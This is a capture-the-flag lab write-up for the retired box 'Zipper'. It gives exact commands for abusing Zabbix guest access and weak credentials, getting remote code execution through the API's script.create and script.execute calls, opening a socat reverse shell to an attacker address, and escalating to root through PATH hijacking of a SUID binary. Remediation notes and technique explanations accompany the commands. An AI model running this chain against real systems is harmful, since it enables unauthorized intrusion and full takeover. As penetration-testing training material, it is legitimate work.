Zipper
Summary
Target zipper ($TARGET) was fully compromised through a two-stage chain of weak credentials and a misconfigured privileged binary. Apache on port 80 served a Zabbix 3.0.21 monitoring portal whose guest-login view disclosed a valid username; that account answered to a trivially weak password, granting full API access. The authenticated Zabbix 3.0 JSON-RPC API allowed me to create and execute arbitrary OS commands via script.create and script.execute, landing a shell as the low-privileged zabbix service account.
The same weak credentials also worked over SSH, giving a stable interactive session and the user flag. Privilege escalation exploited a SUID-root helper binary that invoked systemctl by relative name rather than absolute path; a malicious systemctl script dropped into a world-writable directory prepended to PATH was executed in the root context of the SUID binary, completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for zapper>"
export TOKEN="<the-token-you-captured>"Attack path: how the box was taken
Exact commands 3
Full version scan of discovered ports.
$ nmap -Pn -sV -p22,80,10050 --script=banner $TARGETConfirm Apache banner and /zabbix redirect.
$ curl -si http://$TARGET/ | head -20Confirm Zabbix version without credentials.
$ curl -s http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d '{"jsonrpc":"2.0","method":"apiinfo.version","id":1,"params":{}}'Exact commands 1
Authenticate as guest and grep output for disclosed usernames and host names.
$ curl -sc /tmp/zbx_cookies -b /tmp/zbx_cookies -s "http://$TARGET/zabbix/index.php" -d 'name=guest&password=&autologin=1&enter=Sign+in' -L | grep -i 'zapper\|host'FixDisable Zabbix guest accessHigh
Exact commands 2
Obtain API session token with weak credentials.
$ curl -s http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d '{"jsonrpc":"2.0","method":"user.login","params":{"user":"zapper","password":"'"$PASSWORD"'"},"id":1,"auth":null}'Enumerate monitored hosts to identify target hostids.
$ TOKEN=$TOKEN; curl -s http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d "{\"jsonrpc\":\"2.0\",\"method\":\"host.get\",\"params\":{\"output\":[\"hostid\",\"host\"]},\"id\":2,\"auth\":\"$TOKEN\"}"FixEnforce strong, unique passwords for all Zabbix accountsCritical
Exact commands 4
Create a remote-execution script; note the returned scriptid.
$ TOKEN=$TOKEN; curl -s http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d "{\"jsonrpc\":\"2.0\",\"method\":\"script.create\",\"params\":{\"name\":\"pwn-pwn\",\"command\":\"id; whoami; hostname; pwd\",\"execute_on\":0},\"id\":3,\"auth\":\"$TOKEN\"}"Execute the script against Zipper (hostid 10106); confirms RCE as zabbix on the target host.
$ TOKEN=$TOKEN; curl -s http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d "{\"jsonrpc\":\"2.0\",\"method\":\"script.execute\",\"params\":{\"scriptid\":\"4\",\"hostid\":\"10106\"},\"id\":4,\"auth\":\"$TOKEN\"}"Start a PTY-capable listener for an upgraded reverse shell.
$ # On my machine: socat file:`tty`,raw,echo=0 tcp-listen:4444,reuseaddrCreate reverse shell script; then execute it against hostid 10106 with script.execute.
$ TOKEN=$TOKEN; RHOST=$ATTACKER_IP; curl -s http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d "{\"jsonrpc\":\"2.0\",\"method\":\"script.create\",\"params\":{\"name\":\"shell-$(date +%s)\",\"command\":\"socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$RHOST:4444\",\"execute_on\":0},\"id\":5,\"auth\":\"$TOKEN\"}"FixRestrict Zabbix API script creation and execution to administrator accounts onlyCritical
Exact commands 2
SSH login using the same credentials discovered via the Zabbix API.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no zapper@$TARGETRead user flag -> <user.txt>
$ cat /home/zapper/user.txtExact commands 2
Locate all SUID-root files reachable from the current context.
$ find / -perm -4000 -user root -type f 2>/dev/nullConfirm the binary references systemctl by relative name (no leading slash).
$ strings /path/to/suid-binary | grep systemctlExact commands 4
Write the malicious systemctl payload: sets SUID on /bin/bash when executed as root.
$ echo -e '#!/bin/sh\nchmod u+s /bin/bash' > /tmp/systemctl && chmod +x /tmp/systemctlPrepend /tmp so the SUID binary finds the fake systemctl first.
$ export PATH=/tmp:$PATHTrigger the SUID-root binary; it resolves and executes /tmp/systemctl as root.
$ /path/to/suid-binaryOpen root shell via SUID bash; read root flag → <root.txt>
$ /bin/bash -p -c 'id; cat /root/root.txt'
euid=0(root)FixUse absolute paths for all external commands in SUID root binariesCritical
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |
| 10050/tcp | tcpwrapped |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.